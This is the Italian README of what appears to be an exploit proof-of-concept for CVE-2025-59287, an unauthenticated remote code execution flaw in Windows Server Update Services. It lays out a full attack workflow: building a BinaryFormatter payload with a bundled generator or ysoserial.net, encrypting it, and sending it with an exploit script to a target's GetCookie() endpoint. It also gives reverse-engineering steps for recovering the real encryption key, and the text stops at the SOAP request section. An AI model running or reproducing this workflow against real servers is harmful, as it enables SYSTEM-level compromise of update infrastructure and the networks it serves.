Exploit Proof-of-Concept CVE-2025-59287

Panoramica della Vulnerabilità

CVE-2025-59287 è una vulnerabilità critica di Remote Code Execution (RCE) in Microsoft Windows Server Update Services (WSUS). La vulnerabilità è causata da una deserializzazione non sicura dei dati AuthorizationCookie tramite BinaryFormatter nel metodo EncryptionHelper.DecryptData().

Impatto: Attaccanti non autenticati possono ottenere l'esecuzione remota di codice con privilegi SYSTEM inviando cookie crittografati dannosi all'endpoint GetCookie().

Punteggio CVSS: Critico (9.8)

Dettagli della Vulnerabilità

• Componente Interessato: Endpoint GetCookie() di WSUS ClientWebService.asmx
• Causa Principale: BinaryFormatter.Deserialize() chiamato su input non attendibili senza una validazione adeguata
• Vettore di Attacco: Cookie crittografato dannoso inviato all'endpoint SOAP GetCookie()
• Autenticazione Richiesta: No (RCE non autenticato)
• Porte Interessate: 8530 (HTTP), 8531 (HTTPS)

Architettura

┌─────────────────┐
│   Attaccante    │
│                 │
│  1. Genera      │
│     Payload     │
│     BinaryFmt   │
│                 │
│  2. Crittografa │
│     Payload     │
│                 │
│  3. Invia       │
│     Richiesta   │
│     SOAP        │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   Server WSUS   │
│                 │
│  Endpoint       │
│  GetCookie()    │
│                 │
│  DecryptData()  │◄─── Vulnerabile
│                 │
│  BinaryFormatter│◄─── Deserializzazione non sicura
│  Deserialize()  │
│                 │
│  Esegue         │◄─── RCE come SYSTEM
│  Payload        │
└─────────────────┘

Struttura dei File

exploit-poc/
├── wsus_exploit.py                    # Script exploit principale
├── BinaryFormatterPayloadGenerator.cs # Generatore payload .NET (C#)
├── encrypt_payload.py                 # Helper crittografia WSUS
├── requirements.txt                   # Dipendenze Python
└── README.md                          # Questo file

Prerequisiti

Ambiente Python

pip install -r requirements.txt

.NET Framework (per la generazione del payload)

• Windows con .NET Framework 4.0 o successivo
• Oppure utilizzare ysoserial.net come alternativa

Utilizzo

Metodo 1: Flusso di Lavoro Completo

Passo 1: Generare il Payload BinaryFormatter

Opzione A: Utilizzando il generatore C# fornito

# Compilare il generatore
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# Generare il payload
BinaryFormatterPayloadGenerator.exe calc.exe
# Crea: payload_YYYYMMDDHHMMSS.bin

Opzione B: Utilizzando ysoserial.net (Consigliato)

ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

Passo 2: Crittografare il Payload

python encrypt_payload.py payload.bin -o encrypted_cookie.txt

IMPORTANTE: La chiave di crittografia in encrypt_payload.py è un segnaposto. Per uno sfruttamento reale, è necessario:

1. Fare reverse engineering della chiave di crittografia effettiva dai binari WSUS
2. Aggiornare encrypt_payload.py con la chiave reale
3. Consultare la sezione "Trovare la Chiave di Crittografia WSUS" di seguito

Passo 3: Eseguire l'Exploit

# Utilizzando il file payload (crittograferà al volo)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# Utilizzando un cookie pre-crittografato
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# Con HTTPS (porta 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

Metodo 2: Test Rapido

# Genera, crittografa e sfrutta in un'unica operazione
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <IP_BERSAGLIO> -f payload_*.bin

Trovare la Chiave di Crittografia WSUS Effettiva

La chiave di crittografia deve essere estratta dai binari WSUS per uno sfruttamento reale.

Metodo 1: Reverse Engineering con dnSpy

1. Individuare le DLL WSUS:

   %ProgramFiles%\Update Services\WebServices\bin\
   

   Oppure la directory web IIS:

   %SystemDrive%\inetpub\wwwroot\wsusadmin\
   

2. Aprire in dnSpy (decompilatore .NET gratuito):

   • Download: https://github.com/dnSpy/dnSpy
   • Aprire Microsoft.UpdateServices.WebServices.dll

3. Cercare EncryptionHelper:

   • Navigare al namespace: Microsoft.UpdateServices.WebServices
   • Trovare la classe EncryptionHelper
   • Esaminare i metodi DecryptData() e EncryptData()
   • Estrarre la chiave di crittografia e l'algoritmo

4. Pattern comuni:

   • Array di byte hardcoded
   • Costanti stringa
   • Derivazione della chiave da GUID/SID della macchina

Metodo 2: Analisi a Runtime

1. Utilizzare WinDbg o x64dbg:

   • Impostare un breakpoint su EncryptionHelper.DecryptData()
   • Ispezionare memoria/registri per il materiale della chiave
   • Monitorare le operazioni di crittografia/decrittografia

2. Utilizzare Process Monitor:

   • Filtrare per processo WSUS
   • Cercare accessi a registro/file di configurazione
   • Le chiavi potrebbero essere memorizzate nel registro

Metodo 3: Analisi Statica

1. Utilizzare IDA Pro o Ghidra:

   • Caricare i binari WSUS
   • Cercare stringhe relative alla crittografia
   • Analizzare gli algoritmi di derivazione delle chiavi

2. Utilizzare l'utility strings:

   strings Microsoft.UpdateServices.WebServices.dll | grep -i key
   strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
   

Aggiornare l'Exploit

Una volta ottenuta la chiave effettiva, aggiornare encrypt_payload.py:

# Sostituire questa riga in encrypt_wsus_cookie():
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # SEGNAPOSTO

# Con la chiave effettiva:
key_material = b"CHIAVE_EFFETTIVA_DAI_BINARI_WSUS"

Oppure passarla tramite riga di comando:

python encrypt_payload.py payload.bin -k "CHIAVE_EFFETTIVA"

Flusso dell'Exploit

┌─────────────────────────────────────────────────────────────┐
│ 1. Generare Payload BinaryFormatter                         │
│    ObjectDataProvider → Process.Start() → Esecuzione Comando│
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Crittografare il Payload                                  │
│    AES-128-CBC con chiave di crittografia WSUS               │
│    Codifica Base64 per la trasmissione                       │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Creare la Richiesta SOAP                                  │
│    L'header AuthorizationCookie contiene il payload crittografato│
│    Metodo GetCookie() nel corpo SOAP                         │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Inviare all'Endpoint WSUS                                 │
│    POST /ClientWebService/ClientWebService.asmx              │
│    Porta 8530 (HTTP) o 8531 (HTTPS)                          │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. Elaborazione WSUS                                         │
│    DecryptData() decrittografa il cookie                     │
│    BinaryFormatter.Deserialize() esegue il payload           │
│    → RCE come SYSTEM                                         │
└─────────────────────────────────────────────────────────────┘

Struttura della Richiesta SOAP